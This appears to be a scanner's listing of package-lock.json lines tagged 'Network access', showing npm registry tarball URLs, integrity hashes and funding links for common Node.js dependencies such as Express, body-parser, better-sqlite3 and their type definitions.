"resolved": "https://registry.npmjs.org/@types/better-sqlite3/-/better-sqlite3-7.6.13.tgz", - Network accessline 148
"node_modules/@types/body-parser": { "version": "1.19.6", "resolved": "https://registry.npmjs.org/@types/body-parser/-/body-parser-1.19.6.tgz", - Network accessline 149
"version": "1.19.6", "resolved": "https://registry.npmjs.org/@types/body-parser/-/body-parser-1.19.6.tgz", "integrity": "sha512-HLFeCYgz89uk22N5Qg3dvGvsv46B8GLvKKo1zKG4NybA8U2DiEO3w9lqGg29t/tfLRJpJ6iQxnVw4OnB7MoM9g==", - Network accessline 150
"resolved": "https://registry.npmjs.org/@types/body-parser/-/body-parser-1.19.6.tgz", - Network accessline 159
"node_modules/@types/connect": { "version": "3.4.38", "resolved": "https://registry.npmjs.org/@types/connect/-/connect-3.4.38.tgz", - Network accessline 160
"version": "3.4.38", "resolved": "https://registry.npmjs.org/@types/connect/-/connect-3.4.38.tgz", "integrity": "sha512-K6uROf1LD88uDQqJCktA4yzL1YYAK6NgfsI0v/mTgyPKWsX1CnJ0XPSDhViejru1GcRkLWb8RlzFYJRqGUbaug==", - Network accessline 161
"resolved": "https://registry.npmjs.org/@types/connect/-/connect-3.4.38.tgz", - Network accessline 169
"node_modules/@types/cors": { "version": "2.8.19", "resolved": "https://registry.npmjs.org/@types/cors/-/cors-2.8.19.tgz", - Network accessline 170
"version": "2.8.19", "resolved": "https://registry.npmjs.org/@types/cors/-/cors-2.8.19.tgz", "integrity": "sha512-mFNylyeyqN93lfe/9CSxOGREz8cpzAhH+E93xJ4xWQf62V8sQ/24reV2nyzUWM6H6Xji+GGHpkbLe7pVoUEskg==", - Network accessline 171
"resolved": "https://registry.npmjs.org/@types/cors/-/cors-2.8.19.tgz", - Network accessline 179
"node_modules/@types/express": { "version": "4.17.25", "resolved": "https://registry.npmjs.org/@types/express/-/express-4.17.25.tgz", - Network accessline 180
"version": "4.17.25", "resolved": "https://registry.npmjs.org/@types/express/-/express-4.17.25.tgz", "integrity": "sha512-dVd04UKsfpINUnK0yBoYHDF3xu7xVH4BuDotC/xGuycx4CgbP48X/KF/586bcObxT0HENHXEU8Nqtu6NR+eKhw==", - Network accessline 181
"resolved": "https://registry.npmjs.org/@types/express/-/express-4.17.25.tgz", - Network accessline 192
"node_modules/@types/express-serve-static-core": { "version": "4.19.7", "resolved": "https://registry.npmjs.org/@types/express-serve-static-core/-/express-serve-static-core-4.19.7.tgz", - Network accessline 193
"version": "4.19.7", "resolved": "https://registry.npmjs.org/@types/express-serve-static-core/-/express-serve-static-core-4.19.7.tgz", "integrity": "sha512-FvPtiIf1LfhzsaIXhv/PHan/2FeQBbtBDtfX2QfvPxdUelMDEckK08SM6nqo1MIZY3RUlfA+ - Network accessline 194
"resolved": "https://registry.npmjs.org/@types/express-serve-static-core/-/express-serve-static-core-4.19.7.tgz", - Network accessline 205
"node_modules/@types/http-errors": { "version": "2.0.5", "resolved": "https://registry.npmjs.org/@types/http-errors/-/http-errors-2.0.5.tgz", - Network accessline 206
"version": "2.0.5", "resolved": "https://registry.npmjs.org/@types/http-errors/-/http-errors-2.0.5.tgz", "integrity": "sha512-r8Tayk8HJnX0FztbZN7oVqGccWgw98T/0neJphO91KkmOzug1KkofZURD4UaD5uH8AqcFLfdPErnBod0u71/qg==", - Network accessline 207
"resolved": "https://registry.npmjs.org/@types/http-errors/-/http-errors-2.0.5.tgz", - Network accessline 212
"node_modules/@types/mime": { "version": "1.3.5", "resolved": "https://registry.npmjs.org/@types/mime/-/mime-1.3.5.tgz", - Network accessline 213
"version": "1.3.5", "resolved": "https://registry.npmjs.org/@types/mime/-/mime-1.3.5.tgz", "integrity": "sha512-/pyBZWSLD2n0dcHE3hq8s8ZvcETHtEuF+3E7XVt0Ig2nvsVQXdghHVcEkIWjy9A0wKfTn97a/PSDYohKIlnP/w==", - Network accessline 214
"resolved": "https://registry.npmjs.org/@types/mime/-/mime-1.3.5.tgz", - Network accessline 219
"node_modules/@types/node": { "version": "20.19.27", "resolved": "https://registry.npmjs.org/@types/node/-/node-20.19.27.tgz", - Network accessline 220
"version": "20.19.27", "resolved": "https://registry.npmjs.org/@types/node/-/node-20.19.27.tgz", "integrity": "sha512-N2clP5pJhB2YnZJ3PIHFk5RkygRX5WO/5f0WC08tp0wd+sv0rsJk3MqWn3CbNmT2J505a5336jaQj4ph1AdMug==", - Network accessline 221
"resolved": "https://registry.npmjs.org/@types/node/-/node-20.19.27.tgz", - Network accessline 229
"node_modules/@types/qs": { "version": "6.14.0", "resolved": "https://registry.npmjs.org/@types/qs/-/qs-6.14.0.tgz", - Network accessline 230
"version": "6.14.0", "resolved": "https://registry.npmjs.org/@types/qs/-/qs-6.14.0.tgz", "integrity": "sha512-eOunJqu0K1923aExK6y8p6fsihYEn/BYuQ4g0CxAAgFc4b/ZLN4CrsRZ55srTdqoiLzU2B2evC+apEIxprEzkQ==", - Network accessline 231
"resolved": "https://registry.npmjs.org/@types/qs/-/qs-6.14.0.tgz", - Network accessline 236
"node_modules/@types/range-parser": { "version": "1.2.7", "resolved": "https://registry.npmjs.org/@types/range-parser/-/range-parser-1.2.7.tgz", - Network accessline 237
"version": "1.2.7", "resolved": "https://registry.npmjs.org/@types/range-parser/-/range-parser-1.2.7.tgz", "integrity": "sha512-hKormJbkJqzQGhziax5PItDUTMAM9uE2XXQmM37dyd4hVM+5aVl7oVxMVUiVQn2oCQFN/LKCZdvSM0pFRqbSmQ==", - Network accessline 238
"resolved": "https://registry.npmjs.org/@types/range-parser/-/range-parser-1.2.7.tgz", - Network accessline 243
"node_modules/@types/send": { "version": "1.2.1", "resolved": "https://registry.npmjs.org/@types/send/-/send-1.2.1.tgz", - Network accessline 244
"version": "1.2.1", "resolved": "https://registry.npmjs.org/@types/send/-/send-1.2.1.tgz", "integrity": "sha512-arsCikDvlU99zl1g69TcAB3mzZPpxgw0UQnaHeC1Nwb015xp8bknZv5rIfri9xTOcMuaVgvabfIRA7PSZVuZIQ==", - Network accessline 245
"resolved": "https://registry.npmjs.org/@types/send/-/send-1.2.1.tgz", - Network accessline 253
"node_modules/@types/serve-static": { "version": "1.15.10", "resolved": "https://registry.npmjs.org/@types/serve-static/-/serve-static-1.15.10.tgz", - Network accessline 254
"version": "1.15.10", "resolved": "https://registry.npmjs.org/@types/serve-static/-/serve-static-1.15.10.tgz", "integrity": "sha512-tRs1dB+g8Itk72rlSI2ZrW6vZg0YrLI81iQSTkMmOqnqCaNr/8Ek4VwWcN5vZgCYWbg/JJSGBlUaYGAOP73qBw==", - Network accessline 255
"resolved": "https://registry.npmjs.org/@types/serve-static/-/serve-static-1.15.10.tgz", - Network accessline 265
"node_modules/@types/serve-static/node_modules/@types/send": { "version": "0.17.6", "resolved": "https://registry.npmjs.org/@types/send/-/send-0.17.6.tgz", - Network accessline 266
"version": "0.17.6", "resolved": "https://registry.npmjs.org/@types/send/-/send-0.17.6.tgz", "integrity": "sha512-Uqt8rPBE8SY0RK8JB1EzVOIZ32uqy8HwdxCnoCOsYrvnswqmFZ/k+9Ikidlk/ImhsdvBsloHbAlewb2IEBV/Og==", - Network accessline 267
"resolved": "https://registry.npmjs.org/@types/send/-/send-0.17.6.tgz", - Network accessline 276
"node_modules/@types/sqlite3": { "version": "3.1.11", "resolved": "https://registry.npmjs.org/@types/sqlite3/-/sqlite3-3.1.11.tgz", - Network accessline 277
"version": "3.1.11", "resolved": "https://registry.npmjs.org/@types/sqlite3/-/sqlite3-3.1.11.tgz", "integrity": "sha512-KYF+QgxAnnAh7DWPdNDroxkDI3/MspH1NMx6m/N/6fT1G6+jvsw4/ZePt8R8cr7ta58aboeTfYFBDxTJ5yv15w==", - Network accessline 278
"resolved": "https://registry.npmjs.org/@types/sqlite3/-/sqlite3-3.1.11.tgz", - Network accessline 286
"node_modules/abbrev": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/abbrev/-/abbrev-1.1.1.tgz", - Network accessline 287
"version": "1.1.1", "resolved": "https://registry.npmjs.org/abbrev/-/abbrev-1.1.1.tgz", "integrity": "sha512-nne9/IiQ/hzIhY6pdDnbBtz7DjPTKrY00P/zvPSm5pOFkl6xuGrGnXn/VtTNNfNtAfZ9/1RtehkszU9qcTii0Q==", - Network accessline 288
"resolved": "https://registry.npmjs.org/abbrev/-/abbrev-1.1.1.tgz", - Network accessline 293
"node_modules/accepts": { "version": "1.3.8", "resolved": "https://registry.npmjs.org/accepts/-/accepts-1.3.8.tgz", - Network accessline 294
"version": "1.3.8", "resolved": "https://registry.npmjs.org/accepts/-/accepts-1.3.8.tgz", "integrity": "sha512-PYAthTa2m2VKxuvSD3DPC/Gy+U+sOA1LAuT8mkmRuvw+NACSaeXEQ+NHcVF7rONl6qcaxV3Uuemwawk+7+SJLw==", - Network accessline 295
"resolved": "https://registry.npmjs.org/accepts/-/accepts-1.3.8.tgz", - Network accessline 306
"node_modules/acorn": { "version": "8.15.0", "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.15.0.tgz", - Network accessline 307
"version": "8.15.0", "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.15.0.tgz", "integrity": "sha512-NZyJarBfL7nWwIq+FDL6Zp/yHEhePMNnnJ0y3qfieCrmNvYct8uvtiV41UvlSe6apAfk0fY1FbWx+NwfmpvtTg==", - Network accessline 308
"resolved": "https://registry.npmjs.org/acorn/-/acorn-8.15.0.tgz", - Network accessline 319
"node_modules/acorn-walk": { "version": "8.3.4", "resolved": "https://registry.npmjs.org/acorn-walk/-/acorn-walk-8.3.4.tgz", - Network accessline 320
"version": "8.3.4", "resolved": "https://registry.npmjs.org/acorn-walk/-/acorn-walk-8.3.4.tgz", "integrity": "sha512-ueEepnujpqee2o5aIYnvHU6C0A42MNdsIDeqy5BydrkuC5R1ZuUFnm27EeFJGoEHJQgn3uleRvmTXaJgfXbt4g==", - Network accessline 321
"resolved": "https://registry.npmjs.org/acorn-walk/-/acorn-walk-8.3.4.tgz", - Network accessline 332
"node_modules/agent-base": { "version": "6.0.2", "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-6.0.2.tgz", - Network accessline 333
"version": "6.0.2", "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-6.0.2.tgz", "integrity": "sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ==", - Network accessline 334
"resolved": "https://registry.npmjs.org/agent-base/-/agent-base-6.0.2.tgz", - Network accessline 345
"node_modules/agent-base/node_modules/debug": { "version": "4.4.3", "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz", - Network accessline 346
"version": "4.4.3", "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz", "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==", - Network accessline 347
"resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz", - Network accessline 363
"node_modules/agent-base/node_modules/ms": { "version": "2.1.3", "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", - Network accessline 364
"version": "2.1.3", "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", - Network accessline 365
"resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", - Network accessline 370
"node_modules/agentkeepalive": { "version": "4.6.0", "resolved": "https://registry.npmjs.org/agentkeepalive/-/agentkeepalive-4.6.0.tgz", - Network accessline 371
"version": "4.6.0", "resolved": "https://registry.npmjs.org/agentkeepalive/-/agentkeepalive-4.6.0.tgz", "integrity": "sha512-kja8j7PjmncONqaTsB8fQ+wE2mSU2DJ9D4XKoJ5PFWIdRMa6SLSN1ff4mOr4jCbfRSsxR4keIiySJU0N9T5hIQ==", - Network accessline 372
"resolved": "https://registry.npmjs.org/agentkeepalive/-/agentkeepalive-4.6.0.tgz", - Network accessline 383
"node_modules/aggregate-error": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/aggregate-error/-/aggregate-error-3.1.0.tgz", - Network accessline 384
"version": "3.1.0", "resolved": "https://registry.npmjs.org/aggregate-error/-/aggregate-error-3.1.0.tgz", "integrity": "sha512-4I7Td01quW/RpocfNayFdFVk1qSuoh0E7JrbRJ16nH01HhKFQ88INq9Sd+nd72zqRySlr9BmDA8xlEJ6vJMrYA==", - Network accessline 385
"resolved": "https://registry.npmjs.org/aggregate-error/-/aggregate-error-3.1.0.tgz", - Network accessline 397
"node_modules/ansi-regex": { "version": "5.0.1", "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", - Network accessline 398
"version": "5.0.1", "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", - Network accessline 399
"resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", - Network accessline 407
"node_modules/aproba": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/aproba/-/aproba-2.1.0.tgz", - Network accessline 408
"version": "2.1.0", "resolved": "https://registry.npmjs.org/aproba/-/aproba-2.1.0.tgz", "integrity": "sha512-tLIEcj5GuR2RSTnxNKdkK0dJ/GrC7P38sUkiDmDuHfsHmbagTFAxDVIBltoklXEVIQ/f14IL8IMJ5pn9Hez1Ew==", - Network accessline 409
"resolved": "https://registry.npmjs.org/aproba/-/aproba-2.1.0.tgz", - Network accessline 414
"node_modules/are-we-there-yet": { "version": "3.0.1", "resolved": "https://registry.npmjs.org/are-we-there-yet/-/are-we-there-yet-3.0.1.tgz", - Network accessline 415
"version": "3.0.1", "resolved": "https://registry.npmjs.org/are-we-there-yet/-/are-we-there-yet-3.0.1.tgz", "integrity": "sha512-QZW4EDmGwlYur0Yyf/b2uGucHQMa8aFUP7eu9ddR73vvhFyt4V0Vl3QHPcTNJ8l6qYOBdxgXdnBXQrHilfRQBg==", - Network accessline 416
"resolved": "https://registry.npmjs.org/are-we-there-yet/-/are-we-there-yet-3.0.1.tgz", - Network accessline 429
"node_modules/arg": { "version": "4.1.3", "resolved": "https://registry.npmjs.org/arg/-/arg-4.1.3.tgz", - Network accessline 430
"version": "4.1.3", "resolved": "https://registry.npmjs.org/arg/-/arg-4.1.3.tgz", "integrity": "sha512-58S9QDqG0Xx27YwPSt9fJxivjYl432YCwfDMfZ+71RAqUrZef7LrKQZ3LHLOwCS4FLNBplP533Zx895SeOCHvA==", - Network accessline 431
"resolved": "https://registry.npmjs.org/arg/-/arg-4.1.3.tgz", - Network accessline 436
"node_modules/array-flatten": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/array-flatten/-/array-flatten-1.1.1.tgz", - Network accessline 437
"version": "1.1.1", "resolved": "https://registry.npmjs.org/array-flatten/-/array-flatten-1.1.1.tgz", "integrity": "sha512-PCVAQswWemu6UdxsDFFX/+gVeYqKAod3D3UVm91jHwynguOwAvYPhx8nNlM++NqRcK6CxxpUafjmhIdKiHibqg==", - Network accessline 438
"resolved": "https://registry.npmjs.org/array-flatten/-/array-flatten-1.1.1.tgz", - Network accessline 442
"node_modules/balanced-match": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", - Network accessline 443
"version": "1.0.2", "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==", - Network accessline 444
"resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", - Network accessline 449
"node_modules/base64-js": { "version": "1.5.1", "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz", - Network accessline 450
"version": "1.5.1", "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz", "integrity": "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==", - Network accessline 451
"resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz", - Network accessline 454
{ "type": "github", "url": "https://github.com/sponsors/feross" - Network accessline 455
"type": "github", "url": "https://github.com/sponsors/feross" }, - Network accessline 456
"url": "https://github.com/sponsors/feross" - Network accessline 458
{ "type": "patreon", "url": "https://www.patreon.com/feross" - Network accessline 459
"type": "patreon", "url": "https://www.patreon.com/feross" }, - Network accessline 460
"url": "https://www.patreon.com/feross" - Network accessline 462
{ "type": "consulting", "url": "https://feross.org/support" - Network accessline 463
"type": "consulting", "url": "https://feross.org/support" } - Network accessline 464
"url": "https://feross.org/support" - Network accessline 469
"node_modules/better-sqlite3": { "version": "9.6.0", "resolved": "https://registry.npmjs.org/better-sqlite3/-/better-sqlite3-9.6.0.tgz", - Network accessline 470
"version": "9.6.0", "resolved": "https://registry.npmjs.org/better-sqlite3/-/better-sqlite3-9.6.0.tgz", "integrity": "sha512-yR5HATnqeYNVnkaUTf4bOP2dJSnyhP4puJN/QPRyx4YkBEEUxib422n2XzPqDEHjQQqazoYoADdAm5vE15+dAQ==", - Network accessline 471
"resolved": "https://registry.npmjs.org/better-sqlite3/-/better-sqlite3-9.6.0.tgz", - Network accessline 480
"node_modules/bindings": { "version": "1.5.0", "resolved": "https://registry.npmjs.org/bindings/-/bindings-1.5.0.tgz", - Network accessline 481
"version": "1.5.0", "resolved": "https://registry.npmjs.org/bindings/-/bindings-1.5.0.tgz", "integrity": "sha512-p2q/t/mhvuOj/UeLlV6566GD/guowlr0hHxClI0W9m7MWYkL1F0hLo+0Aexs9HSPCtR1SXQ0TD3MMKrXZajbiQ==", - Network accessline 482
"resolved": "https://registry.npmjs.org/bindings/-/bindings-1.5.0.tgz", - Network accessline 489
"node_modules/bl": { "version": "4.1.0", "resolved": "https://registry.npmjs.org/bl/-/bl-4.1.0.tgz", - Network accessline 490
"version": "4.1.0", "resolved": "https://registry.npmjs.org/bl/-/bl-4.1.0.tgz", "integrity": "sha512-1W07cM9gS6DcLperZfFSj+bWLtaPGSOHWhPiGzXmvVJbRLdG82sH/Kn8EtW1VqWVA54AKf2h5k5BbnIbwF3h6w==", - Network accessline 491
"resolved": "https://registry.npmjs.org/bl/-/bl-4.1.0.tgz", - Network accessline 500
"node_modules/body-parser": { "version": "1.20.4", "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.20.4.tgz", - Network accessline 501
"version": "1.20.4", "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.20.4.tgz", "integrity": "sha512-ZTgYYLMOXY9qKU/57FAo8F+HA2dGX7bqGc71txDRC1rS4frdFI5R7NhluHxH6M0YItAP0sHB4uqAOcYKxO6uGA==", - Network accessline 502
"resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.20.4.tgz", - Network accessline 524
"node_modules/brace-expansion": { "version": "1.1.12", "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.12.tgz", - Network accessline 525
"version": "1.1.12", "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.12.tgz", "integrity": "sha512-9T9UjW3r0UW5c1Q7GTwllptXwhvYmEzFhzMfZ9H7FQWt+uZePjZPjBP/W1ZEyZ1twGWom5/56TF4lPcqjnDHcg==", - Network accessline 526
"resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.12.tgz", - Network accessline 535
"node_modules/buffer": { "version": "5.7.1", "resolved": "https://registry.npmjs.org/buffer/-/buffer-5.7.1.tgz", - Network accessline 536
"version": "5.7.1", "resolved": "https://registry.npmjs.org/buffer/-/buffer-5.7.1.tgz", "integrity": "sha512-EHcyIPBQ4BSGlvjB16k5KgAJ27CIsHY/2JBmCRReo48y9rQ3MaUzWX3KVlBa4U7MyX02HdVj0K7C3WaB3ju7FQ==", - Network accessline 537
"resolved": "https://registry.npmjs.org/buffer/-/buffer-5.7.1.tgz", - Network accessline 540
{ "type": "github", "url": "https://github.com/sponsors/feross" - Network accessline 541
"type": "github", "url": "https://github.com/sponsors/feross" }, - Network accessline 542
"url": "https://github.com/sponsors/feross" - Network accessline 544
{ "type": "patreon", "url": "https://www.patreon.com/feross" - Network accessline 545
"type": "patreon", "url": "https://www.patreon.com/feross" }, - Network accessline 546
"url": "https://www.patreon.com/feross" - Network accessline 548
{ "type": "consulting", "url": "https://feross.org/support" - Network accessline 549
"type": "consulting", "url": "https://feross.org/support" } - Network accessline 550
"url": "https://feross.org/support" - Network accessline 559
"node_modules/bytes": { "version": "3.1.2", "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz", - Network accessline 560
"version": "3.1.2", "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz", "integrity": "sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==", - Network accessline 561
"resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz", - Network accessline 568
"node_modules/cacache": { "version": "15.3.0", "resolved": "https://registry.npmjs.org/cacache/-/cacache-15.3.0.tgz", - Network accessline 569
"version": "15.3.0", "resolved": "https://registry.npmjs.org/cacache/-/cacache-15.3.0.tgz", "integrity": "sha512-VVdYzXEn+cnbXpFgWs5hTT7OScegHVmLhJIR8Ufqk3iFD6A6j5iSX1KuBTfNEv4tdJWE2PzA6IVFtcLC7fN9wQ==", - Network accessline 570
"resolved": "https://registry.npmjs.org/cacache/-/cacache-15.3.0.tgz", - Network accessline 598
"node_modules/call-bind-apply-helpers": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.2.tgz", - Network accessline 599
"version": "1.0.2", "resolved": "https://registry.npmjs.org/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.2.tgz", "integrity": "sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuM - Network accessline 600
"resolved": "https://registry.npmjs.org/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.2.tgz", - Network accessline 611
"node_modules/call-bound": { "version": "1.0.4", "resolved": "https://registry.npmjs.org/call-bound/-/call-bound-1.0.4.tgz", - Network accessline 612
"version": "1.0.4", "resolved": "https://registry.npmjs.org/call-bound/-/call-bound-1.0.4.tgz", "integrity": "sha512-+ys997U96po4Kx/ABpBCqhA9EuxJaQWDQg7295H4hBphv3IZg0boBKuwYpt4YXp6MZ5AmZQnU/tyMTlRpaSejg==", - Network accessline 613
"resolved": "https://registry.npmjs.org/call-bound/-/call-bound-1.0.4.tgz", - Network accessline 622
}, "funding": { "url": "https://github.com/sponsors/ljharb" - Network accessline 623
"funding": { "url": "https://github.com/sponsors/ljharb" } - Network accessline 624
"url": "https://github.com/sponsors/ljharb" - Network accessline 627
"node_modules/chownr": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/chownr/-/chownr-2.0.0.tgz", - Network accessline 628
"version": "2.0.0", "resolved": "https://registry.npmjs.org/chownr/-/chownr-2.0.0.tgz", "integrity": "sha512-bIomtDF5KGpdogkLd9VspvFzk9KfpyyGlS8YFVZl7TGPBHL5snIOnxeshwVgPteQ9b4Eydl+pVbIyE1DcvCWgQ==", - Network accessline 629
"resolved": "https://registry.npmjs.org/chownr/-/chownr-2.0.0.tgz", - Network accessline 636
"node_modules/clean-stack": { "version": "2.2.0", "resolved": "https://registry.npmjs.org/clean-stack/-/clean-stack-2.2.0.tgz", - Network accessline 637
"version": "2.2.0", "resolved": "https://registry.npmjs.org/clean-stack/-/clean-stack-2.2.0.tgz", "integrity": "sha512-4diC9HaTE+KRAMWhDhrGOECgWZxoevMc5TlkObMqNSsVU62PYzXZ/SMTjzyGAFF1YusgxGcSWTEXBhp0CPwQ1A==", - Network accessline 638
"resolved": "https://registry.npmjs.org/clean-stack/-/clean-stack-2.2.0.tgz", - Network accessline 646
"node_modules/color-support": { "version": "1.1.3", "resolved": "https://registry.npmjs.org/color-support/-/color-support-1.1.3.tgz", - Network accessline 647
"version": "1.1.3", "resolved": "https://registry.npmjs.org/color-support/-/color-support-1.1.3.tgz", "integrity": "sha512-qiBjkpbMLO/HL68y+lh4q0/O1MZFj2RX6X/KmMa3+gJD3z+WwI1ZzDHysvqHGS3mP6mznPckpXmw1nI9cJjyRg==", - Network accessline 648
"resolved": "https://registry.npmjs.org/color-support/-/color-support-1.1.3.tgz", - Network accessline 656
"node_modules/concat-map": { "version": "0.0.1", "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", - Network accessline 657
"version": "0.0.1", "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==", - Network accessline 658
"resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", - Network accessline 663
"node_modules/console-control-strings": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/console-control-strings/-/console-control-strings-1.1.0.tgz", - Network accessline 664
"version": "1.1.0", "resolved": "https://registry.npmjs.org/console-control-strings/-/console-control-strings-1.1.0.tgz", "integrity": "sha512-ty/fTekppD2fIwRvnZAVdeOiGd1c7YXEixbgJTNzqcxJWKQnjJ/V1bNEEE6hygpM3WjwHFUVK6HTjWSzV4a8s - Network accessline 665
"resolved": "https://registry.npmjs.org/console-control-strings/-/console-control-strings-1.1.0.tgz", - Network accessline 670
"node_modules/content-disposition": { "version": "0.5.4", "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.4.tgz", - Network accessline 671
"version": "0.5.4", "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.4.tgz", "integrity": "sha512-FveZTNuGw04cxlAiWbzi6zTAL/lhehaWbTtgluJh4/E95DqMwTmha3KZN1aAWA8cFIhHzMZUvLevkw5Rqk+tSQ==", - Network accessline 672
"resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.4.tgz", - Network accessline 682
"node_modules/content-type": { "version": "1.0.5", "resolved": "https://registry.npmjs.org/content-type/-/content-type-1.0.5.tgz", - Network accessline 683
"version": "1.0.5", "resolved": "https://registry.npmjs.org/content-type/-/content-type-1.0.5.tgz", "integrity": "sha512-nTjqfcBFEipKdXCv4YDQWCfmcLZKm81ldF0pAopTvyrFGVbcR6P/VAAd5G7N+0tTr8QqiU0tFadD6FK4NtJwOA==", - Network accessline 684
"resolved": "https://registry.npmjs.org/content-type/-/content-type-1.0.5.tgz", - Network accessline 691
"node_modules/cookie": { "version": "0.7.2", "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.7.2.tgz", - Network accessline 692
"version": "0.7.2", "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.7.2.tgz", "integrity": "sha512-yki5XnKuf750l50uGTllt6kKILY4nQ1eNIQatoXEByZ5dWgnKqbnqmTrBE5B4N7lrMJKQ2ytWMiTO2o0v6Ew/w==", - Network accessline 693
"resolved": "https://registry.npmjs.org/cookie/-/cookie-0.7.2.tgz", - Network accessline 700
"node_modules/cookie-signature": { "version": "1.0.7", "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.0.7.tgz", - Network accessline 701
"version": "1.0.7", "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.0.7.tgz", "integrity": "sha512-NXdYc3dLr47pBkpUCHtKSwIOQXLVn8dZEuywboCOJY/osA0wFSLlSawr3KN8qXJEyX66FcONTH8EIlVuK0yyFA==", - Network accessline 702
"resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.0.7.tgz", - Network accessline 706
"node_modules/cors": { "version": "2.8.5", "resolved": "https://registry.npmjs.org/cors/-/cors-2.8.5.tgz", - Network accessline 707
"version": "2.8.5", "resolved": "https://registry.npmjs.org/cors/-/cors-2.8.5.tgz", "integrity": "sha512-KIHbLJqu73RGr/hnbrO9uBeixNGuvSQjul/jdFvS/KFSIH1hWVd1ng7zOHx+YrEfInLG7q4n6GHQ9cDtxv/P6g==", - Network accessline 708
"resolved": "https://registry.npmjs.org/cors/-/cors-2.8.5.tgz", - Network accessline 719
"node_modules/create-require": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/create-require/-/create-require-1.1.1.tgz", - Network accessline 720
"version": "1.1.1", "resolved": "https://registry.npmjs.org/create-require/-/create-require-1.1.1.tgz", "integrity": "sha512-dcKFX3jn0MpIaXjisoRvexIJVEKzaq7z2rZKxf+MSr9TkdmHmsU4m2lcLojrj/FHl8mk5VxMmYA+ftRkP/3oKQ==", - Network accessline 721
"resolved": "https://registry.npmjs.org/create-require/-/create-require-1.1.1.tgz", - Network accessline 726
"node_modules/debug": { "version": "2.6.9", "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", - Network accessline 727
"version": "2.6.9", "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", - Network accessline 728
